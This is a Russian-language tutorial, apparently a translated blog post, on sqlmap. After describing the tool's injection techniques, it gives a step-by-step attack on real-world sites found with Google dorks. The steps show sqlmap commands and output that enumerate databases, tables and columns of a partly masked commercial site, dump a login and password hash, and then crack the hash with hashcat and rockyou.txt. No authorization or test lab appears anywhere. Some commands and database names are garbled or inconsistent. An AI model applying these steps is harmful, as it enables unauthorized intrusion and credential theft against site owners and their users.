SQLMAP - обнаружение и использование
Этичный Хакер
Sqlmap - это инструмент тестирования на проникновение с открытым исходным кодом, который автоматизирует процесс обнаружения и использования ошибок SQL-инъекций и захвата серверов баз данных.
Он поставляется с мощным механизмом обнаружения, множеством специализированных функций для ultimate penetration tester и широким спектром переключений, начиная от снятия отпечатков пальцев с базы данных и извлечения данных из базы данных, заканчивая доступом к базовой файловой системе и выполнением команд в операционной системе через внеполосные соединения.
Функционал инструмента:
- Полная поддержка систем управления базами данных MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, HSQLDB и Informix.
- Полная поддержка шести методов SQL-инъекций: слепые на основе логических значений, слепые на основе времени, основанные на ошибках, основанные на UNION запросах, сложенные запросы и внеполосные.
- Поддержка прямого подключения к базе данных без прохождения через SQL-инъекцию, предоставляя учетные данные СУБД, IP-адрес, порт и имя базы данных.
- Поддержка перечисления пользователей, хэшей паролей, привилегий, ролей, баз данных, таблиц и столбцов.
- Автоматическое распознавание форматов хэшей паролей и поддержка их взлома с использованием атаки на основе словаря.
- Поддержка полного дампа таблиц базы данных, диапазона записей или определенных столбцов по выбору пользователя. Пользователь также может выбрать сброс только диапазона символов из записи каждого столбца.
- Поддержка поиска определенных имен баз данных, определенных таблиц во всех базах данных или определенных столбцов во всех таблицах баз данных. Это полезно, например, для идентификации таблиц, содержащих пользовательские учетные данные приложения, где имена соответствующих столбцов содержат строку, такую как name и pass .
- Поддержка загрузки и выгрузки любого файла с базовой файловой системы сервера баз данных, если программным обеспечением базы данных является MySQL, PostgreSQL или Microsoft SQL Server.
- Поддержка выполнения произвольных команд и получения их стандартного вывода на сервере базы данных, лежащем в основе операционной системы, когда программным обеспечением базы данных является MySQL, PostgreSQL или Microsoft SQL Server.
- Поддержка установления внеполосного TCP-соединения с отслеживанием состояния между машиной злоумышленника и сервером базы данных, лежащим в основе операционной системы. Этот канал может быть интерактивной командной строкой, сеансом Meterpreter или сеансом графического интерфейса пользователя (VNC) по выбору пользователя.
- Поддержка повышения пользовательских привилегий процесса базы данных с помощью
getsystemкоманды Meterpreter Metasploit.
Методы:
sqlmap способен обнаруживать и использовать пять различных типов SQL-инъекций:
Слепой на основе логических значений:
- sqlmap заменяет или добавляет к затронутому параметру в HTTP-запросе синтаксически допустимую строку SQL-инструкции, содержащую
SELECTвложенный оператор, или любой другой SQL-оператор, выходные данные которого пользователь хочет получить. - Для каждого HTTP-ответа, сравнивая заголовки /тело HTTP-ответа с исходным запросом, инструмент выводит вывод введенного оператора посимвольно. В качестве альтернативы пользователь может предоставить строку или регулярное выражение для сопоставления с настоящими страницами.
- Алгоритм деления пополам, реализованный в sqlmap для выполнения этой техники, способен извлекать каждый символ выходных данных максимум семью HTTP-запросами.
- В тех случаях, когда выходные данные не входят в кодировку открытого текста, sqlmap адаптирует алгоритм с большими диапазонами для обнаружения выходных данных.
Слепой по времени:
- sqlmap заменяет или добавляет к затронутому параметру в HTTP-запросе синтаксически допустимую строку SQL-инструкции, содержащую запрос, который приостанавливает возврат серверной СУБД на определенное количество секунд.
- Для каждого HTTP-ответа, сравнивая время HTTP-ответа с исходным запросом, инструмент выводит вывод введенного оператора посимвольно. Как и для метода, основанного на логических значениях, применяется алгоритм деления пополам.
Ошибка на основе:
- sqlmap заменяет или добавляет к затронутому параметру оператор, вызывающий сообщение об ошибке, относящееся к конкретной базе данных, и анализирует заголовки и тело HTTP-ответа в поисках сообщений об ошибках СУБД, содержащих введенную заранее определенную цепочку символов и вывод инструкции подзапроса внутри.
- Этот метод работает только тогда, когда веб-приложение настроено на раскрытие сообщений об ошибках внутренней системы управления базами данных.
На основе запросов UNION:
- sqlmap добавляет к затронутому параметру синтаксически допустимый оператор SQL, начинающийся с
UNION ALL SELECT. Этот метод работает, когда страница веб-приложения передает вывод инструкции непосредственноSELECTвforцикле или аналогично, так что каждая строка вывода запроса печатается в содержимом страницы. - sqlmap также может использовать уязвимости SQL-инъекции частичного (с одной записью) запроса ОБЪЕДИНЕНИЯ, которые возникают, когда вывод инструкции не циклически выполняется в
forконструкции, тогда как отображается только первая запись вывода запроса.
Сложенные запросы:
- также известный как копилка: sqlmap проверяет, поддерживает ли веб-приложение запросы с накоплением, а затем, в случае, если оно поддерживает, оно добавляет к затронутому параметру в HTTP-запросе точку с запятой (
;), за которой следует оператор SQL, который должен быть выполнен. - Этот метод полезен для выполнения инструкций SQL, отличных от
SELECT, например, инструкций определения данных или манипулирования данными, что может привести к доступу для чтения и записи файловой системы и выполнению команд операционной системы в зависимости от базовой серверной системы управления базами данных и привилегий пользователя сеанса.
Найдите уязвимый веб-сайт:
Обычно это самая сложная часть и занимает больше времени, чем любые другие шаги. Будем использовать Google Dorks.
Google Dorks:
Google Dork подвергают риску корпоративную информацию, поскольку невольно создают лазейки, позволяющие злоумышленнику проникнуть в сеть без разрешения и / или получить доступ к несанкционированной информации. Для поиска конфиденциальной информации злоумышленники используют строки расширенного поиска, называемые Google Dork Queries.
Шаг 1. Первоначальная проверка, чтобы подтвердить, уязвим ли веб-сайт для SQL-инъекции SQLMAP
Существует несколько способов, и я уверен, что люди будут спорить, какой из них лучше, но для меня следующий является самым простым и убедительным.
Допустим, вы искали, используя эту строку inurl:item_id=, и один из результатов поиска Google показывает веб-сайт, подобный этому:
http://www.*****.com/products_showitem_clemco.php?item_id=28434
Просто добавьте одинарную кавычку ‘ в конце URL-адреса. (Просто чтобы убедиться, что ” - это двойные кавычки, а ” ‘ ” - одинарные кавычки).
Итак, теперь ваш URL-адрес станет таким:
http://www.*****.com/products_showitem_clemco.php?item_id=28434 '
Если страница возвращает ошибку SQL, страница уязвима для SQL-инъекции SQLMAP. Если он загрузит или перенаправит вас на другую страницу, перейдите на следующий сайт на странице результатов поиска Google.
Смотрите Пример ошибки ниже на скриншоте. Я скрыл все, включая URL и дизайн страницы, по понятным причинам.

Примеры ошибок SQLi из разных баз данных и языков
Microsoft SQL Server
Ошибка сервера в приложении ‘/’. Незакрытая кавычка перед символьной строкой ‘attack;’.
Описание: Необработанное исключение возникло во время выполнения текущего веб-запроса. Пожалуйста, просмотрите трассировку стека для получения дополнительной информации об ошибке, из-за которой она возникла в коде.
Сведения об исключении: System.Data.SqlClient.SQLException: незакрытая кавычка перед строкой символов ‘attack;’.
Ошибки MySQL
Предупреждение: mysql_fetch_array(): предоставленный аргумент не является допустимым ресурсом результата MySQL в /var/www/myawesomestore.com/buystuff.php в строке 12
Ошибка: у вас ошибка в синтаксисе SQL: проверьте руководство, соответствующее вашей версии сервера MySQL, на предмет правильного синтаксиса для использования рядом с ‘’ в строке 12
Ошибки Oracle
java.sql.SQLException: ORA-00933: команда SQL неправильно завершилась в oracle.jdbc.dbaaccess.Исключение DBError.throwSqlException(DBError.java:180) в oracle.jdbc.ttc7.TTIoer.processError(TTIoer.java:208)
Ошибка: SQLExceptionjava.sql.SQLException: ORA-01756: строка в кавычках не завершается должным образом
Ошибки PostgreSQL
Ошибка запроса: ОШИБКА: нерасчеркнутая строка в кавычках на или рядом с “‘’”
Шаг 2. Список баз данных СУБД с использованием SQL-инъекции SQLMAP:
Как вы можете видеть на скриншоте выше, я обнаружил уязвимый веб-сайт для SQL-инъекций SQLMAP. Теперь мне нужно перечислить все базы данных в этой уязвимой базе данных. (это также называется перечислением количества столбцов). Поскольку я использую SQLMAP, он также сообщит мне, какой из них уязвим.
Выполните следующую команду на вашем уязвимом веб-сайте с помощью.
sqlmap -u http://www.*****.com/products_showitem_clemco.php?item_id=28434 --dbs
Здесь:
sqlmap = имя двоичного файла
sqlmap -u = целевой URL (например, “http://www.*****.com/products_showitem_ghoc.php?item_id=28434 ”)
–dbs = Перечислять базы данных СУБД
Смотрите Скриншот ниже.

Эти команды раскрывают довольно много интересной информации:
технология веб-приложений: серверная СУБД Apache: MySQL 5.0 [10:55:53] [ИНФОРМАЦИЯ] получено: information_schema [10:55:56] [ИНФОРМАЦИЯ] получено: ***** [10:55:56] [ИНФОРМАЦИЯ] извлеченные данные записываются в текстовые файлы в разделе '/usr/ share/sqlmap/output/www.*****.com'
Итак, теперь у нас есть две базы данных, в которые мы можем заглянуть. information_schema - это стандартная база данных практически для каждой базы данных MYSQL. Итак, нас интересует база данных clemcoindustries.
Шаг 3. Список таблиц целевой базы данных с использованием SQL-инъекции SQLMAP:
Теперь нам нужно знать, сколько таблиц есть в базе данных clemcoindustries и каковы их имена. Чтобы узнать эту информацию, используйте следующую команду:
sqlmap -u http://www.*****.com/cgi-bin/item.cgi?item_id=15 -D clemcoindustries -таблицы
эта база данных содержит 8 таблиц.
[10:56:20] [ИНФОРМАЦИЯ] выборка таблиц для базы данных: '*****' [10:56:22] [ИНФОРМАЦИЯ] эвристика обнаружила кодировку веб-страницы 'ISO-8859-2' [10:56:22] [ИНФОРМАЦИЯ] используемый SQL-запрос возвращает 8 записей [10:56:25] [ИНФОРМАЦИЯ] извлечено: элемент [10:56:27] [ИНФОРМАЦИЯ] получено: ссылка [10:56:30] [ИНФОРМАЦИЯ] получено: другое [10:56:32] [ИНФОРМАЦИЯ] извлечено: изображение [10:56:34] [ИНФОРМАЦИЯ] получено: picture_tag [10:56:37] [ИНФОРМАЦИЯ] извлечено: popular_picture [10:56:39] [ИНФОРМАЦИЯ] получено: popular_tag [10:56:42] [ИНФОРМАЦИЯ] получено: user_info

и, конечно, мы хотим проверить, что находится внутри таблицы user_info, используя SQL-инъекцию SQLMAP, поскольку эта таблица, вероятно, содержит имя пользователя и пароли.
Шаг 4. Список столбцов в целевой таблице выбранной базы данных с использованием SQL-инъекции SQLMAP:
Теперь нам нужно перечислить все столбцы в целевой таблице user_info базы данных clemcoindustries с помощью SQL-инъекции SQLMAP. SQL-инъекция SQLMAP упрощает работу, выполните следующую команду:
sqlmap -u http://www.*****.com/cgi-bin/item.cgi?item_id=15 -D *****-T user_i nfo --columns
Это возвращает 5 записей из целевой таблицы user_info базы данных clemcoindustries.
[10:57:16] [ИНФОРМАЦИЯ] выборка столбцов для таблицы 'user_info' в базе данных '*****' [10:57:18] [ИНФОРМАЦИЯ] эвристика обнаружила кодировку веб-страницы 'ISO-8859-2' [10:57:18] [ИНФОРМАЦИЯ] используемый SQL-запрос возвращает 5 записей [10:57:20] [ИНФОРМАЦИЯ] получено: user_id [10:57:22] [ИНФОРМАЦИЯ] получено: int(10) без знака [10:57:25] [ИНФОРМАЦИЯ] получено: user_login [10:57:27] [ИНФОРМАЦИЯ] получено: varchar(45) [10:57:32] [ИНФОРМАЦИЯ] получено: user_password [10:57:34] [ИНФОРМАЦИЯ] получено: varchar(255) [10:57:37] [ИНФОРМАЦИЯ] получено: unique_id [10:57:39] [ИНФОРМАЦИЯ] получено: varchar(255) [10:57:41] [ИНФОРМАЦИЯ] получено: record_status [10:57:43] [ИНФОРМАЦИЯ] получено: tinyint(4)
Это именно то, что мы ищем ... целевая таблица user_login и user_password .

Шаг 5. Перечислите имена пользователей из целевых столбцов целевой таблицы выбранной базы данных с помощью SQL-инъекции SQLMAP:
SQLMAP SQL-инъекция делает это просто! Просто снова запустите следующую команду:
sqlmap -u http://www.*****.com/cgi-bin/item.cgi?item_id=15 -D gbhackers-T user_info -C user_login --dump
Угадайте, что теперь у нас есть имя пользователя из базы данных:
[10:58:39] [ИНФОРМАЦИЯ] получено: UserX [10:58:40] [ИНФОРМАЦИЯ] анализ дампа таблицы на предмет возможных хэшей паролей

Почти готово, теперь нам нужен только пароль для этого пользователя.. Далее показано именно это..
Шаг 6. Извлечение пароля из целевых столбцов целевой таблицы выбранной базы данных с помощью SQL-инъекции SQLMAP:
Вы, вероятно, привыкли к тому, как использовать SQLMAP SQL Injection tool. Используйте следующую команду для извлечения пароля для пользователя.
sqlmap -u http://www.*****.com/cgi-bin/item.cgi?item_id=15 -D *****-T user_info -C user_password --dump У нас есть хэшированный пароль: 24iYBc17xK0e [10:59:15] [ИНФОРМАЦИЯ] используемый SQL-запрос возвращает 1 запись [10:59:17] [ИНФОРМАЦИЯ] получено: 24iYBc17xK0e. [10:59:18] [ИНФОРМАЦИЯ] анализ дампа таблицы на предмет возможных хэшей паролей База данных: sqldummywebsite Таблица: user_info [1 запись] +---------------+ | user_password | +---------------+ | 24iYBc17xK0e. | +---------------+

Но подождите, этот пароль выглядит забавно. Это не может быть чей-то пароль.. У кого-то, кто оставляет свой сайт уязвимым, просто не может быть такого пароля.
Это совершенно верно. Это хэшированный пароль. Что это значит, пароль зашифрован, и теперь нам нужно его расшифровать.
Я подробно рассказал о том, как расшифровать пароль в этом взломе паролей MD5, phpBB, MySQL и SHA1 с помощью Hashcat в Kali Linux post. Если вы пропустили это, вы многое упускаете.
Я расскажу об этом вкратце здесь, но вам действительно следует научиться использовать hashcat.
Шаг 7: взлом пароля:
Итак, хэшированный пароль - 24iYBc17xK0e. . Откуда вы знаете, что это за тип хэша?
1. Определите тип хэша:
К счастью, Kali Linux предоставляет хороший инструмент, и мы можем использовать его, чтобы определить, какой тип хэша это. В командной строке введите следующую команду и в командной строке вставьте хэш-значение:
hash-identifier

Отлично. Итак, это DES (Unix) хэш.
2. Взломать ХЭШ с помощью cudahashcat:
Прежде всего, мне нужно знать, какой код использовать для хэшей DES. Итак, давайте проверим, что
cudahashcat --help | grep DES

Итак, это либо 1500, либо 3100. Но это была база данных MYSQL, поэтому она должна быть 1500.
Я сохранил значение хэша 24iYBc17xK0e. в файле DES.hash. Ниже приведена команда, которую я выполняю:
cudahashcat -m 1500 -a 0 /root/sql/DES.hash /root/sql/rockyou.txt

Интересная находка: обычный Hashcat не смог определить код для DES hash. (не в меню справки). Однако, как cudaHashcat, так и oclHashcat нашли и взломали ключ.
Во всяком случае, вот взломанный пароль: abc123 24iYBc17xK0e. : abc123